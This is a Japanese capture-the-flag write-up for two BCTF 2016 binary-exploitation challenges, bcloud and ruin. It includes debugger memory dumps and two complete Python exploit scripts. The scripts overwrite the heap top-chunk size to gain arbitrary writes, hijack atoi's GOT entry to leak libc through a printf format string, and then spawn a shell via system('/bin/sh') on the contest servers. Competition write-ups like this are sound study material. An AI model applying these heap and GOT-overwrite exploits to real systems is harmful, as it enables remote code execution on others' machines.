BCTF 2016 Writeup
今回Exploit問題は2問解いたけど,nomeaningさんと話しながらひらめいた感ある
ほんと人権無い
TokyoWesternsの御茶汲み拝命しようかしら
bcloud (Exploit 150)
下調べ
shiftcrops@S-Ubuntu:~/CTF/BCTF$ file bcloud.9a3bd1d30276b501a51ac8931b3e43c4 bcloud.9a3bd1d30276b501a51ac8931b3e43c4: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=96a3843007b1e982e7fa82fbd2e1f2cc598ee04e, stripped shiftcrops@S-Ubuntu:~/CTF/BCTF$ checksec.sh --file bcloud.9a3bd1d30276b501a51ac8931b3e43c4 RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Partial RELRO Canary found NX enabled Not an ELF file No RPATH No RUNPATH bcloud.9a3bd1d30276b501a51ac8931b3e43c4
どうやらノートを管理するプログラムのよう.
機能としてはNew, Show, Edit, Delete, Synchronizeが備わってる.
しかし,ShowとSynchronizeの中身はほぼ空っぽ
プログラム動作解析
今回はヒープ問
どの機能も入力文字数はしっかり管理されており,ヒープは溢れなさそう.
しかしながら,それ以前のName,及びOrgとHostの入力部で問題がある.
なお,今回のメモリマップは以下の通り
gdb-peda$ vmmap Start End Perm Name 0x08048000 0x0804a000 r-xp /home/shiftcrops/CTF/BCTF/bcloud.9a3bd1d30276b501a51ac8931b3e43c4 0x0804a000 0x0804b000 r--p /home/shiftcrops/CTF/BCTF/bcloud.9a3bd1d30276b501a51ac8931b3e43c4 0x0804b000 0x0804c000 rw-p /home/shiftcrops/CTF/BCTF/bcloud.9a3bd1d30276b501a51ac8931b3e43c4 0x0804c000 0x0806d000 rw-p [heap] 0xf7e12000 0xf7e13000 rw-p mapped 0xf7e13000 0xf7fbb000 r-xp /lib/i386-linux-gnu/libc-2.19.so 0xf7fbb000 0xf7fbd000 r--p /lib/i386-linux-gnu/libc-2.19.so 0xf7fbd000 0xf7fbe000 rw-p /lib/i386-linux-gnu/libc-2.19.so 0xf7fbe000 0xf7fc1000 rw-p mapped 0xf7fd9000 0xf7fdb000 rw-p mapped 0xf7fdb000 0xf7fdc000 r-xp [vdso] 0xf7fdc000 0xf7ffc000 r-xp /lib/i386-linux-gnu/ld-2.19.so 0xf7ffc000 0xf7ffd000 r--p /lib/i386-linux-gnu/ld-2.19.so 0xf7ffd000 0xf7ffe000 rw-p /lib/i386-linux-gnu/ld-2.19.so 0xfffdd000 0xffffe000 rw-p [stack]
まずはNameの部分
GetStr関数とHey関数は勝手にわかりやすいように名前を付けている.
GetStr関数は引数にアドレス,最大長,終端文字を取る.しかし,ここで最大長の取り扱いに問題があり,0x40Byteを与えられた場合は文字を最大で0x40Byte取り,その後ろにNull文字を付ける.
0x08048829におけるヒープにNameをコピーする直前のスタックの様子
Breakpoint 1, 0x08048829 in ?? () gdb-peda$ x/32wx $esp 0xffffd000: 0x0804c008 0xffffd01c 0x0000000a 0x00000001 0xffffd010: 0xffffd070 0xf7fbd000 0xffffd05c 0x61616161 0xffffd020: 0x61616161 0x61616161 0x61616161 0x61616161 0xffffd030: 0x61616161 0x61616161 0x61616161 0x61616161 0xffffd040: 0x61616161 0x61616161 0x61616161 0x61616161 0xffffd050: 0x61616161 0x61616161 0x61616161 0x0804c008 0xffffd060: 0x00000000 0x00000000 0x00000000 0xadd16600 0xffffd070: 0xffffd0a8 0xf7ff0500 0xffffd088 0x080489a7
aを0x40Byte入力した直後,mallocによって確保されたヒープのアドレスが0xffffd05cに格納されている事が分かる.
また,文字列のコピーにはstrcpy関数を用いているため,mallocで取ったNameの格納領域には0xffffd01cから0xffffd060までの0x44Byteがコピーされることになる.
しかし,これではまだヒープのチャンク構造を改変できてはいないのでExploitにはつながらない.これは次のHeyなんちゃらを出力する関数でヒープアドレスをリークさせるために行っている.
次にOrgとHostの部分
こちらにもName部分と同様のバグがある.
0x0804895eにおけるヒープにOrgをコピーする直前のスタックとヒープの様子
Breakpoint 2, 0x0804895e in ?? () gdb-peda$ x/48wx $esp 0xffffcfc0: 0x0804c050 0xffffd020 0x0000000a 0xf7fbd000 0xffffcfd0: 0xffffd01c 0xffffd020 0xffffd064 0x62626262 0xffffcfe0: 0x62626262 0x62626262 0x62626262 0x62626262 0xffffcff0: 0x62626262 0x62626262 0x62626262 0x62626262 0xffffd000: 0x62626262 0x62626262 0x62626262 0x62626262 0xffffd010: 0x62626262 0x62626262 0x62626262 0x0804c098 0xffffd020: 0x63636363 0x00000000 0x00000000 0x00000000 0xffffd030: 0x00000000 0x00000000 0x00000000 0x00000000 0xffffd040: 0x00000000 0x00000000 0x00000000 0x00000000 0xffffd050: 0x00000000 0x00000000 0x00000000 0x00000000 0xffffd060: 0x00000000 0x0804c050 0x00000000 0xadd16600 0xffffd070: 0xffffd0a8 0xf7ff0500 0xffffd088 0x080489ac gdb-peda$ x/56wx 0x0804c000 0x804c000: 0x00000000 0x00000049 0x61616161 0x61616161 0x804c010: 0x61616161 0x61616161 0x61616161 0x61616161 0x804c020: 0x61616161 0x61616161 0x61616161 0x61616161 0x804c030: 0x61616161 0x61616161 0x61616161 0x61616161 0x804c040: 0x61616161 0x61616161 0x0804c008 0x00000049 0x804c050: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c060: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c070: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c080: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c090: 0x00000000 0x00000049 0x00000000 0x00000000 0x804c0a0: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c0b0: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c0c0: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c0d0: 0x00000000 0x00000000 0x00000000 0x00020e71
スタックに格納されている順番としては,下位アドレスから順にOrgのバッファ,Orgを格納するヒープのアドレス,Hostのバッファ,Hostを格納するヒープのアドレスとなっている.
重要なのはOrgの方である.(Hostの溢れは特に美味しくないので触れない)
Orgを0x40Byte書き込めば,Org-ヒープアドレス-Hostが一続きになり,strcpyで移されるサイズはmallocで確保した0x40Byteを優に超える.
Orgのコピー先は0x0804c098なので,Free領域のサイズ移行を任意の値で書き換えることができる.
0x0804897dに於けるOrgのコピー後のヒープの様子は次の通り
0x0804897d in ?? () gdb-peda$ x/56wx 0x0804c000 0x804c000: 0x00000000 0x00000049 0x61616161 0x61616161 0x804c010: 0x61616161 0x61616161 0x61616161 0x61616161 0x804c020: 0x61616161 0x61616161 0x61616161 0x61616161 0x804c030: 0x61616161 0x61616161 0x61616161 0x61616161 0x804c040: 0x61616161 0x61616161 0x0804c008 0x00000049 0x804c050: 0x63636363 0x00000000 0x00000000 0x00000000 0x804c060: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c070: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c080: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c090: 0x00000000 0x00000049 0x62626262 0x62626262 0x804c0a0: 0x62626262 0x62626262 0x62626262 0x62626262 0x804c0b0: 0x62626262 0x62626262 0x62626262 0x62626262 0x804c0c0: 0x62626262 0x62626262 0x62626262 0x62626262 0x804c0d0: 0x62626262 0x62626262 0x0804c098 0x63636363
0x0804c0dcに格納されていたFree領域のサイズが,確かにHostの先頭4Byteに書き換わっていることが確認できる.
さて,Freeサイズの書き換えを行って何が美味しいのかというと,Free領域のアドレスが既知であり,かつ『あるサイズ』のmallocが許されるのであれば任意のメモリの書き換えが行えるというものである.
ここからは本サービスのノート管理に入る.
Newでは任意のサイズの領域を確保し,そこに値を書き込むことが可能である.
新たにmallocする際,Free領域の双方向リンクをたどり,収まるチャンクを見つけたら必要な分だけ切り出しが行われる(ような気がする... 認識違いなど語弊があったらごめんなさい)
初めてのNewであれば,該当チャンクは1個のみ存在しているためそれを参照する.
ここで肝なのが,先程のFree領域のサイズ書き換えでそれを0xffffffffなどにしておいてやることである.
mallocする際に領域が足りないと判断されればmmapされ,そちらに領域を確保されるか,そもそも確保に失敗してしまう.そこでFree領域が巨大なように装えば,地続きで確保が行われる.
実際は確保といっても特にNull初期化などが行われるわけではなく,先頭のヘッダと切り出された余りのFree領域のヘッダが構成される程度である.
実際に書き換えを行いたいメモリのアドレスが0x08050000だとしたら,Free領域の先頭アドレスである0x0804c0e0を減じて,さらに管理領域(prev_sizeとsize)のサイズ8Byteを減じた0x3f18Byteだけ確保すればよい.この次にさらにmallocを行うと,ターゲットである0x08050000が返るので,そこに読み書きが可能となる.(ここで重要なのが,ターゲットアドレスは必ず8Byte単位にならなければならない事)
これでヒープより多少先のアドレスは自由に書き換えられるようになったものの,実際はGOTとかそこら辺に書き換えを行いたい.そのためには,負の(実際はUnsignedなのでものすごくデカい)サイズを確保する,ということを行う.
もしBSSのアドレスである0x0804b060をターゲットとするならば,0x0804b060-0x0804c0e0-8=0xffffef78(-4232)とすればよい.
Free領域の先頭アドレスに0xffffef78を加えるとアドレスの最上位ビットは溢れるが,そんなのはお構いなしで一周して目的のアドレスまでたどり着く.
ここで必要とされる条件が,mallocに負の値が渡されることを許すことである.
mallocはUnsignedで処理するのに,チェックはSignedで行っていることはザラにありそう.
今回は幸い特にサイズチェックを行っていないようなので,そのまま負の値を渡しててやれば,次のNewで任意のアドレスに領域確保が行われる.
解法
先の方法で任意のメモリ書き換えが可能となった.(直前4Byteも領域のサイズとして破壊されるので要注意)
まずはlibcのアドレスをリークさせないといけないが,今回はprintfがあるのでFSBを狙う.
始めはfreeのGOTをprintfのPLTに向けてやろうかと考えたが,そうするとprintfのGOTが壊れてしまう.
かといって,printfをresolveしようと0x80484d6に向けるとなると,今度はreadが・・・という繰り返しでこれは断念
次の案はmallocをprintfに向けるというもの
mallocには好きな値が与えられるが,これの戻り値がしっかりとしたメモリを指していないと,後の読み書きでSEGVを起こしてしまう.
printfは出力した文字数を返すので,これをメモリアドレスになるようにとも思ったが,文字数が膨大すぎるので断念
最後にたどり着いたのはatoiのGOTをprintfのPLTに向けてやることである.
atoiのGOTの直前はmemsetであるので使用されない(クリア)
atoiが戻り値として使われるのは,malloc以外ではメニュー選択なので高々6(クリア)
文字出力数を7以上にしてやれば,Invalid optionとして処理され,再びメニューに戻れる
完璧・・・!!!
そんなわけでatoiをprintfにして,%24$pでIO_2_1_stderrのアドレスをリークさせ,晴れてlibc_baseが求まる.
後は再びatoiのGOTをsystem関数に向けてやり,/bin/shをメニューで与えればシェルが立ち上がる.
Exploit
#!/usr/bin/env python from sc_pwn import * target = {'host':'104.199.132.199','port':1970} addr_plt_printf = 0x080484d0 addr_got_atoi = 0x0804b03c offset_libc_IO_stderr = 0x001aa960 offset_libc_system = 0x00040190 #========== def attack(cmn): cmn.read_until('name:\n') cmn.send('a'*0x40) cmn.read(0x44) addr_heap = cmn.read_until('! ')[:-2] addr_heap += '\x00'*(4-len(addr_heap)) addr_heap = unpack_32(addr_heap)-8 info('addr_heap : 0x%08x' % addr_heap) cmn.read_until('Org:\n') cmn.send('a'*0x40) cmn.read_until('Host:\n') cmn.sendln(pack_32(0xffffffff)) New(cmn, addr_got_atoi-0x4-(addr_heap+0xe0)-0x8, None) exploit_st1 = pack_32(0xdeadbeef) exploit_st1 += pack_32(addr_plt_printf) New(cmn, 0x100, exploit_st1) cmn.read_until('>>\n') cmn.sendln('%24$p') addr_libc_IO_stderr = int(cmn.read(10),16) addr_libc_base = addr_libc_IO_stderr - offset_libc_IO_stderr addr_libc_system = addr_libc_base + offset_libc_system info('addr_libc_base : 0x%08x' % addr_libc_base) exploit_st2 = pack_32(0xdeadbeef) exploit_st2 += pack_32(addr_libc_system) Edit(cmn, 0, exploit_st2) cmn.read_until('>>\n') cmn.sendln('/bin/sh') def New(cmn, size, data): cmn.read_until('>>\n') cmn.sendln('1') cmn.read_until('content:\n') cmn.sendln(str(size)) cmn.read_until('content:\n') if size>0: cmn.sendln(data) def Edit(cmn, id_num, data): cmn.read_until('>>\n') cmn.sendln('3 ') cmn.read_until('id:\n') cmn.sendln(str(id_num)) cmn.read_until('content:\n') cmn.sendln(data) #========== if __name__=='__main__': cmn = Communicate(target,mode='RAW') attack(cmn) sh = Shell(cmn) sh.select() del(sh) del(cmn) #==========
ruin (Exploit 200)
下調べ
shiftcrops@S-Ubuntu:~/CTF/BCTF$ file ruin.7b694dc96bf316a40ff7163479850f78 ruin.7b694dc96bf316a40ff7163479850f78: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.26, BuildID[sha1]=072b955ca434ca0c1df6507144d4a2c4cdc9078e, stripped shiftcrops@S-Ubuntu:~/CTF/BCTF$ checksec.sh --file ruin.7b694dc96bf316a40ff7163479850f78 RELRO STACK CANARY NX PIE RPATH RUNPATH FILE No RELRO Canary found NX enabled Not an ELF file No RPATH No RUNPATH ruin.7b694dc96bf316a40ff7163479850f78
ARMかよ
keyとかsecretとか,何か秘密の文字列を管理するサービスっぽい
プログラム動作解析
初めに8bitのkey(security)を入力するとサービスに入れる
update keyとedit secretは何回も出来るが,sign nameは1回きり
secretに使われるヒープは初めのログイン前から確保されているが,keyとnameは適宜確保される.
脆弱性は明らかで,edit secretでは0x8Byte確保した領域に最大0x18Byte読み込まれる
優しい
解法
手法としてはbcloud同様にFree領域のサイズを書き換えて確保 ⇒ 任意メモリ書き換え といった流れ
3のsign nameで最大0x20Byteのヒープ確保が行える
しかし,ここの文字数チェックがさっき述べたようなSignedでのチェック(sizeがint型で,size<=0x20かどうか)であるため,負数を与えれば軽々クリア
これで,次に1のupdate keyで確保を行った領域が任意のアドレスを指す.
書き換え先としては,それぞれのヒープアドレスを格納している大域変数0x00010fb4と0x00010fbcが挙げられる.
(直接GOTを書き換えに行っても良いが,ここを書き換えれば後々メニュー1,2で自由に任意メモリの書き換えができるようになる)
書き換え先は8Byte単位のアドレスでなくてはいけないので,0x00010fb0から0x10バイト書き込むようにすればよい.
次の繰り返しで任意のメモリの書き換えが可能
keyのアドレスは常に0x00010fb0を向くようにする
update keyからsecretのアドレスをターゲットに書き換える
edit secretでターゲットに対して最大0x18Byte書き換える
____________ ____↓______________________|__ _________ | |*secret| *name | *key | | target | |_______|_______|_______|_______| |________| 0x10fb0 | ↑ |_____________________________|
今回はShowが実装されていないので,ここから情報のリークはできない
なので,bcloud同様にatoiをprintfに向けてGOTから__libc_start_mainをリーク
ここで,アドレス抜けてもlibc分かんねぇ~~うーん・・・とか悩んでると,なんとnomeaningさんがlibcガチャを手元のいくつかのRaspbianのうちの一つから引き当てた!すごい!
そんなわけで,再びatoiをsystemに向けて終了
Exploit
#!/usr/bin/env python from sc_pwn import * target = {'host':'166.111.132.49','port':9999} addr_ptr_buf = 0x00010fb4 addr_plt_printf = 0x00008594 addr_got_main = 0x00010f74 addr_got_atoi = 0x00010f80 offset_libc_system = 0x0003a8b8 offset_libc_main = 0x0001770c prev_target = None #========== def attack(cmn): cmn.read_until('key:') cmn.send('a'*8) cmn.read(8) addr_heap = cmn.read_until(' is')[:-3] addr_heap += '\x00'*(4-len(addr_heap)) addr_heap = unpack_32(addr_heap)-8 info('addr_heap : 0x%08x' % addr_heap) cmn.read_until('key:') cmn.send('security') exploit_st1 = '\x00'*0xc exploit_st1 += pack_32(0xffffffff) cmn.read_until('(1-4):') cmn.sendln('2') cmn.read_until('secret:') cmn.sendln(exploit_st1) cmn.read_until('(1-4):') cmn.sendln('3') cmn.read_until('length:') cmn.sendln(str(addr_ptr_buf-0x4-(addr_heap+0x18)-0x8)) rewrite(cmn, addr_got_atoi, pack_32(addr_plt_printf)) exploit_st2 ='%6$s' exploit_st2 += pack_32(addr_got_main) cmn.read_until('(1-4):') cmn.sendln(exploit_st2) addr_libc_main = unpack_32(cmn.read_until('wrong')[0:4]) addr_libc_base = addr_libc_main - offset_libc_main addr_libc_system = addr_libc_base + offset_libc_system info('addr_libc_base : 0x%08x' % addr_libc_base) rewrite(cmn, addr_got_atoi, pack_32(addr_libc_system), False) cmn.read_until('(1-4):') cmn.sendln('/bin/sh') def rewrite(cmn, addr, data, atoi=True): global prev_target ptr_buf = pack_32(0xdeadbeef) ptr_buf += pack_32(addr) # secret(2) ptr_buf += pack_32(0xcafebabe) # name (3) ptr_buf += pack_32(addr_ptr_buf-4) # key (1) if addr != prev_target: cmn.read_until('(1-4):') cmn.sendln('1' if atoi else '') cmn.read_until('key:') cmn.send(ptr_buf) prev_target = addr cmn.read_until('(1-4):') cmn.sendln('2') cmn.read_until('secret:') cmn.sendln(data) #========== if __name__=='__main__': cmn = Communicate(target,mode='RAW') attack(cmn) sh = Shell(cmn) sh.select() del(sh) del(cmn) #==========